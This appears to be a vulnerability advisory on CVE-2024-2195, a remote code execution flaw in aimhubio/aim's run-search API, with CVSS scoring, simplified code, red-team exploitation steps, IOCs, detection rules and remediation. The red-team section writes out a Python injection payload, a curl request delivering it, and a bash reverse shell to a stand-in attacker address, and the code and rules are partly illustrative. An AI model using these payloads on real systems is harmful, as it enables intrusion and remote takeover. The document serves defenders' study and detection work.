CVE-2024-2195

Executive Summary

A critical Remote Code Execution (RCE) vulnerability, identified as CVE-2024-2195, has been discovered in the aimhubio/aim project, affecting versions 3.0.0 and later. The flaw resides in the /api/runs/search/run/ endpoint, specifically within the run_search_api function in aim/web/api/runs/views.py. Improper restriction of user access to the RunView object allows an unauthenticated attacker to inject and execute arbitrary code via the query parameter. With a CVSS score of 9.8, this vulnerability poses a severe threat, potentially leading to full system compromise, data exfiltration, and lateral movement within the network.

Supply Chain & Package Security

This vulnerability affects the aim Python package, which is distributed via PyPI. Organizations using aim in their machine learning pipelines or data science workflows are at risk. The lack of a patch or official advisory from the vendor increases the urgency for defensive measures. Users should monitor PyPI for updates and consider pinning versions or implementing virtual patching.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high base score reflects the ease of exploitation and the potential for complete compromise of the target system. The vulnerability is remotely exploitable without authentication, making it a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability is located in the run_search_api function within aim/web/api/runs/views.py. This function handles POST requests to the /api/runs/search/run/ endpoint. The query parameter is passed to a RunView object without proper sanitization or validation. The RunView object, when processing the query, evaluates it in a context that allows arbitrary code execution.

The core issue is that the query parameter is interpreted as a Python expression or is passed to a function that uses eval() or exec()-like functionality. An attacker can craft a malicious query string that, when processed, executes arbitrary system commands. For example, a payload like __import__('os').system('id') could be injected to execute the id command on the server.

The lack of input validation and the use of dangerous functions in the codebase enable this attack. The vulnerability is present in all versions from 3.0.0 onward, as the vulnerable code was introduced in that release.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state. The following is a simplified representation of the vulnerable code pattern:

Vulnerable Code (aim/web/api/runs/views.py):

def run_search_api(request):
    query = request.POST.get('query')
    # Directly using query in a dangerous context
    result = RunView().search(query)  # This evaluates the query unsafely
    return JsonResponse(result)

Hypothetical Patched Code:

def run_search_api(request):
    query = request.POST.get('query')
    # Sanitize and validate the query
    sanitized_query = sanitize_query(query)
    if not is_valid_query(sanitized_query):
        return JsonResponse({'error': 'Invalid query'}, status=400)
    result = RunView().search(sanitized_query)
    return JsonResponse(result)

The patch would involve implementing strict input validation, avoiding the use of eval() or exec(), and using parameterized queries or safe parsing libraries.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running aimhubio/aim version >= 3.0.0
• Network access to the /api/runs/search/run/ endpoint

Exploitation Steps:

1. Identify the target endpoint: POST /api/runs/search/run/
2. Craft a malicious payload for the query parameter. Example payload to execute id command:

   __import__('os').system('id')
   

3. Send the request using curl:

   curl -X POST http://target:port/api/runs/search/run/ -d "query=__import__('os').system('id')"
   

4. Observe the output for command execution results. For a reverse shell, use:

   __import__('os').system('bash -c "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"')
   

Lab Setup:

• Use Docker to run a vulnerable instance:

  docker run -d -p 8000:8000 aimhubio/aim:3.0.0
  

• Verify the endpoint is accessible:

  curl -X POST http://localhost:8000/api/runs/search/run/ -d "query=test"
  

Blue Team

Detection Steps:

• Monitor for POST requests to /api/runs/search/run/ with suspicious query parameters.
• Look for patterns like __import__, os.system, subprocess, or base64-encoded commands in the request body.
• Enable logging of all API requests and responses, especially for the vulnerable endpoint.
• Use Web Application Firewall (WAF) rules to block requests containing dangerous Python functions.

Honeypot:

• Deploy a honeypot mimicking the aim API to capture attacker payloads and identify scanning activity.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /api/runs/search/run/ with query parameter containing Python code (e.g., __import__, os.system, eval, exec).
  • Outbound connections from the aim server to unknown IP addresses on common ports (e.g., 4444, 8080) for reverse shells.
  • Unusual HTTP response bodies containing command output (e.g., uid=1000(app) gid=1000(app)).

• File System IOCs:

  • Unexpected files in /tmp/ or /var/tmp/ created by the aim user.
  • Modified system binaries or scripts.
  • Presence of web shells in the aim application directory.

• Process IOCs:

  • Spawned child processes from the aim Python process (e.g., bash, sh, nc, python).
  • High CPU or memory usage from the aim process due to command execution.

Detection Engineering

YARA Rule

rule CVE_2024_2195_Aim_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-2195 in aimhubio/aim"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2195"
    strings:
        $s1 = "__import__" ascii wide nocase
        $s2 = "os.system" ascii wide nocase
        $s3 = "subprocess" ascii wide nocase
        $s4 = "eval(" ascii wide nocase
        $s5 = "exec(" ascii wide nocase
        $s6 = "/api/runs/search/run/" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3, $s4, $s5) and $s6
}

Sigma Rule

title: CVE-2024-2195 Aim RCE Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to the aim /api/runs/search/run/ endpoint with suspicious query parameters
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2195
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/runs/search/run/'
        cs-uri-query|contains:
            - '__import__'
            - 'os.system'
            - 'subprocess'
            - 'eval('
            - 'exec('
    condition: selection
falsepositives:
    - Legitimate use of Python code in queries (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2195 Aim RCE Exploitation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/runs/search/run/"; http_uri; content:"__import__"; http_client_body; nocase; content:"os.system"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: Disconnect aim servers from the network if possible.
2. Implement virtual patching: Use WAF rules to block requests containing dangerous Python functions (e.g., __import__, os.system, eval, exec) in the query parameter.
3. Restrict network access: Limit access to the /api/runs/search/run/ endpoint to trusted IP addresses only.

Long-term Fixes:

1. Apply vendor patch: Monitor the aimhubio/aim GitHub repository for a security patch. Once available, update to the patched version immediately.
2. Code review: Conduct a thorough code review of the run_search_api function and similar endpoints to ensure proper input validation and avoid dangerous functions.
3. Upgrade dependencies: Ensure all dependencies are up-to-date and free from known vulnerabilities.

Compensating Controls:

• Deploy a Web Application Firewall (WAF) with custom rules to block exploitation attempts.
• Enable comprehensive logging and monitoring for the aim application.
• Implement runtime application self-protection (RASP) to detect and block code injection attacks.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert